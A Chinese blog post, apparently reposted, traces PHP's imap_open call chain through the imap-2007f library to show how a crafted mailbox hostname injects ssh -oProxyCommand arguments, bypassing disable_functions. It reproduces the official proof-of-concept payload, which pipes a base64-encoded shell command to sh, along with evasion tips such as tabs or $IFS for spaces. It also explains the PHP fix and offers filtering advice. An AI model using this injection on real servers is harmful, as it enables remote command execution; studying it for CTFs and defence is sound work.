内容简介:遇见了一个基本全命令执行函数禁止的CTF,如何绕过disable_function 执行命令确实是一个问题,看见了imap_open关于绕过disable_function的文章,最近也有类似用到imap的CTF题。看了关于分析原理的2篇外文和2篇中文。在知道原理的基础上,发现都是讲的差不错,然而有些细节方面都没有我想要的,甚至某些地方有一些出入。我想要知道为什么imap会走到ssh上,我注意到在php 函数 imap_open的第一个$mailbox参数中多了一个 },没有它似乎也没有外部的e
0x00 为什么要写这篇文章
遇见了一个基本全命令执行函数禁止的CTF,如何绕过disable_function 执行命令确实是一个问题,看见了imap_open关于绕过disable_function的文章,最近也有类似用到imap的CTF题。看了关于分析原理的2篇外文和2篇中文。
在知道原理的基础上,发现都是讲的差不错,然而有些细节方面都没有我想要的,甚至某些地方有一些出入。我想要知道为什么imap会走到ssh上,我注意到在php 函数 imap_open的第一个$mailbox参数中多了一个 },没有它似乎也没有外部的execve调用,我也想知道内部是如何分隔$mailbox参数的,带着这样的疑问,便有了此文,把php 内核调用imap-2007f的mail_open过程看了一边,终于理顺了。
0x01 imap_open 整个调用链的分析
0x00 PHP调用mail_open的过程
php 并没有自己实现imap过程,用的是imap-2007f的库。
0x1 PHP_FUNCTION(imap_open) -> php_imap_do_open() -> mail_open;
这PHP 内的调用过程,全程没有对其第一个参数$mailbox进行处理,传给了mail_open()
imap_stream = mail_open(NIL, ZSTR_VAL(mailbox), flags);
0x01 imap-2007f下mail_open执行过程
进入imap-2007f的库函数下
mail_open() imap-2007f/src/c-client/mail.c 1186行
进入 switch 如果mailbox 开头是#,会进行特别的处理,类似于hook预处理。
或者进入default 这是我们要进的位置。
switch (name[0]) { case '#': ... default: d = mail_valid (NIL,name,(options & OP_SILENT) ? (char *) NIL : "open mailbox"); }
0x02 驱动选择过程
-> mail_valid() imap-2007f/src/c-client/mail.c 1257行
选择要使用的邮件驱动 包括 imapdriver,pop3driver,nntpdriver,dummydriver
mailbox不允许带 \n\r,前面会通过mail_link() 将这些驱动注册到全局变量factory
for (factory = maildrivers; factory && ((factory->flags & DR_DISABLE) || ((factory->flags & DR_LOCAL) && (*mailbox == '{')) || !(*factory->valid) (mailbox)); factory = factory->next);
通过遍历factory,由各个驱动的valid 函数来进行决定用哪个驱动。最后返回选择好的驱动。比如imap_vaild() 都会通过 mail_vaild_net_parse() 分割mailbox 通过得到的 service 和 驱动的名字比较。若相符则正常返回。这个函数是重点后面详细讲,返回选择好的驱动返回,接着往下走。
d ? mail_open_work (d,stream,name,options) : stream;
-> mail_open_work( ) imap-2007f/src/c-client/mail.c 1260行
选择好驱动以后,进入mail_open_work(), 传入stream 为nil,需要初始化一个新的stream 结构,然后调用相应mail驱动的open() 函数,例imap_open
return ((*d->open)(stream)) ? stream : mail_close(stream);
0x03 imap_open 执行过程
-> imap_open() imap-2007f/src/c-client/imap4r1.c 783行
这里首先会进入 mail_valid_net_parse() 这个刚才函数,这里是为了分割出一个NETMBX 结构
typedef struct net_mailbox { char host[NETMAXHOST]; /* host name (may be canonicalized) */ char orighost[NETMAXHOST]; /* host name before canonicalization */ char user[NETMAXUSER]; /* user name */ char authuser[NETMAXUSER]; /* authentication user name */ char mailbox[NETMAXMBX]; /* mailbox name */ char service[NETMAXSRV]; /* service name */ unsigned long port; /* TCP port number */ unsigned int anoflag : 1; /* anonymous */ unsigned int dbgflag : 1; /* debug flag */ unsigned int secflag : 1; /* secure flag */ unsigned int sslflag : 1; /* SSL driver flag */ unsigned int trysslflag : 1; /* try SSL driver first flag */ unsigned int novalidate : 1; /* don't validate certificates */ unsigned int tlsflag : 1; /* TLS flag */ unsigned int notlsflag : 1; /* do not do TLS flag */ unsigned int readonlyflag : 1;/* want readonly */ unsigned int norsh : 1; /* don't use rsh/ssh */ unsigned int loser : 1; /* server is a loser */ unsigned int tlssslv23 : 1; /* force SSLv23 client method over TLS */ } NETMBX;
其中包括后面需要用到的各种参数。也是后面判断进入各种流程的重要依据
-> mail_valid_net_parse() -> mail_valid_net_parse_work() imap-2007f/src/c-client/mail.c 734行
if (*name++ != '{') return NIL; if (*name == '[') { /* if domain literal, find its ending */ if (!((v = strpbrk (name,"]}")) && (*v++ == ']'))) return NIL; } /* find end of host name */ else if (!(v = strpbrk (name,"/:}"))) return NIL; /* validate length, find mailbox part */ if (!((i = v - name) && (i < NETMAXHOST) && (t = strchr (v,'}')) && ((j = t - v) < MAILTMPLEN) && (strlen (t+1) < (size_t) NETMAXMBX))) return NIL; /* invalid mailbox */ strncpy (mb->host,name,i); /* set host name */ strncpy (mb->orighost,name,i); mb->host[i] = mb->orighost[i] = ''; strcpy (mb->mailbox,t+1)
重点看host ,前面都是基础的判断条件,去掉了[] 包裹的内容。
以“/:}” 标志为hostname的结束符, 却最后又以} 判断 server 部分的结束,}之后判读为邮箱的名字。当时出现一种情况}同时是hostname的结束符,也是整个server部分的结束符。
if (t - v) t-v == 0
不会进入接下的if语句,就不会进行邮箱目标端口赋值即mb->port,各种/flag的判断和赋值也会略过, 即使原来的mailbox flag参数 里面存在/norsh 也不会起作用。这个分割函数其实很有意思,因为没有进入if语句 也没有得到相应的mb->service 参数来选择对应的驱动,但是会自动赋值为调用者的service名字,前面说了各个mail驱动的vaild的函数会选择是否适用于当前mailbox,都会默认传递自己的service的名字,可以说4个驱动在这种情况都是可以用的,但是很巧的是 imapdriver是第一个注册的。所以理所当然的走到了imap下。
if (!*mb->service) strcpy (mb->service,service);
回到 ->imap_open
经过分割得到的mb 参数其实只有host ,service,mailbox 参数
if (mb.dbgflag) stream->debug = T; if (mb.readonlyflag) stream->rdonly = T; if (mb.anoflag) stream->anonymous = T; if (mb.secflag) stream->secure = T; if (mb.trysslflag || imap_tryssl) stream->tryssl = T;
列如这些都不会进入 if,因为/flag 都没有判断。
if (stream->anonymous || mb.port || mb.sslflag || mb.tlsflag) reply = (LOCAL->netstream = net_open (&mb,NIL,defprt,ssld,"*imaps", sslport)) ? imap_reply (stream,NIL) : NIL;
相应的 stream->anonymous, mb.port , mb.sslflag , mb.tlsflag都是false
else if (reply = imap_rimap (stream,"*imap",&mb,usr,tmp));
最终进入imap_rimap()
0x04 imap_rimap 执行过程
进入 imap_rimap imap-2007f/src/c-client/imap4r1.c 1022 行
if (!mb->norsh && (tstream = net_aopen (NIL,mb,service,usr)))
-> net_aopen() /root/bypass_disable_function/imap-2007f/src/c-client/mail.c 6218行
if (!dv) dv = &tcpdriver; if (tstream = (*dv->aopen) (mb,service,user))
-> tcp_aopen(unix) imap-2007f/src/osdep/unix/tcp_unix.c imap-2007f/src/osdep/unix/tcp_unix.c 330行
#ifdef SSHPATH /* ssh path defined yet? */ if (!sshpath) sshpath = cpystr (SSHPATH); #endif #ifdef RSHPATH /* rsh path defined yet? */ if (!rshpath) rshpath = cpystr (RSHPATH); #endif if (*service == '*') { /* want ssh? */ /* return immediately if ssh disabled */ if (!(sshpath && (ti = sshtimeout))) return NIL; /* ssh command prototype defined yet? */ if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd"); } /* want rsh? */ else if (rshpath && (ti = rshtimeout)) { /* rsh command prototype defined yet? */ if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd"); } else return NIL;
关于rsh的寻址问题其他文章也讲的很清楚了。SSHPATH 从/etc/c-client.cf 的配置文件得到,一般都是为空,但RSHPATH 在编译的时候从makefile里面得到 为 /usr/bin/rsh,在debian 下 rsh 是指向 ssh。
else if (rshpath && (ti = rshtimeout)) { /* rsh command prototype defined yet? */ if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd"); }
rshcommand 是默认nil,这里赋值。
else sprintf (tmp,rshcommand,rshpath,host,mb->user[0] ? mb->user : myusername (),service);
写入tmp里面,rshpath 为 /usr/bin/rsh ,host 为mb->host 经过tcp_canonical 并通过dns解析,返回原值。user 为 myusername() 脚本的调用者,我这里是root ,service 即“imap”
tmp 应为 “rshpath mb->host -l myusername() exec /usr/sbin/rimapd”
for (i = 1,path = argv[0] = strtok_r (tmp," ",&r); (i < MAXARGV) && (argv[i] = strtok_r (NIL," ",&r)); i++); argv[i] = NIL;
这个地方也很关键,是分割path 和 args 的位置,这里也有跟国内的两篇的文章有出入,并不是他们说的不能用$mailbox 包含空格 ,因为会被转义,?????,这是转义吗?这是以空格为标志分割命令执行的参数。所以这里不能用空格 可以用 \t 和 $IFS来代替,
其最后execv (path,argv) 即
execv("/usr/bin/rsh",["/usr/bin/rsh",host ...]
这里已经可以通过修改hostname达到参数注入,同样ssh 也有那么一个参数可以执行任意命令 -oProxyCommand,避免不要的麻烦,可以base64,因为涉及到getshell 可能会出现写路径出现 / ,因为前面说了 / 同样是可以判定hostname的结束符,这样把}提前就没有意义了。下面的strace 结果可能会看的更清楚
0x02 Payload && 官方修复分析
附上官方验证性payload ,至于修复 php 官方 默认将rsh和ssh 的连接超时都设置为了0
STD_PHP_INI_BOOLEAN("imap.enable_insecure_rsh", "0", PHP_INI_SYSTEM, OnUpdateBool, enable_rsh, zend_imap_globals, imap_globals) ... if (!IMAPG(enable_rsh)) { /* disable SSH and RSH, see https://bugs.php.net/bug.php?id=77153 */ mail_parameters (NIL, SET_RSHTIMEOUT, 0); mail_parameters (NIL, SET_SSHTIMEOUT, 0); }
rshtimeout 和 sshtimeout 同样也可以来源于 /etc/c-client.cf ,一般情况这个文件是空的,同样在tcp_unxi.c 中也对这个两个值进行了赋值,默认都为15.
在 tcp_aopen() imap-2007f/src/osdep/unix/tcp.unix.c 349行
$payload = "echo 'BUG'> " . __DIR__ . '/__bug'; $payloadb64 = base64_encode($payload); $server = "x -oProxyCommand=echo\t$payloadb64|base64\t-d|sh}";
这样一来就给限制住了,直接返回nil. 下面是官方测试的payload
0x03 对其整个过程的思考和总结
在php 使用 imap_open的时候一定需要注意 第一个参数$mailbox,php 本身并没有对其进行检验是否符合格式的操作。在c的imap-2007f库中虽然进行了参数化,但在处理上还是有一定的问题。
比如在最后 tcp_aopen() imap-2007f/src/osdep/unix/tcp.unix.c 371行 中
strcpy(host,tcp_canonical(mb->host))
tcp_canonical 仅仅对hostname 进行了 ip_nametoadress 其本身就是调用了gethostname,若解析不了则原hostname 返回,这过程是不是存在一点问题?
所以在使用imap_open 中对hostname 一定要严格限定,应过滤相应的 ”/ ” “}“ 这些字符。
在选择外部调用的问题上,是否应该完全交付处理,这问题出在信任链上。
0x04 整个过程的调用链
0x05 参考连接
https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
https://nosec.org/home/detail/2044.html
https://xz.aliyun.com/t/4113
https://github.com/asmlib/imap-2007f
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。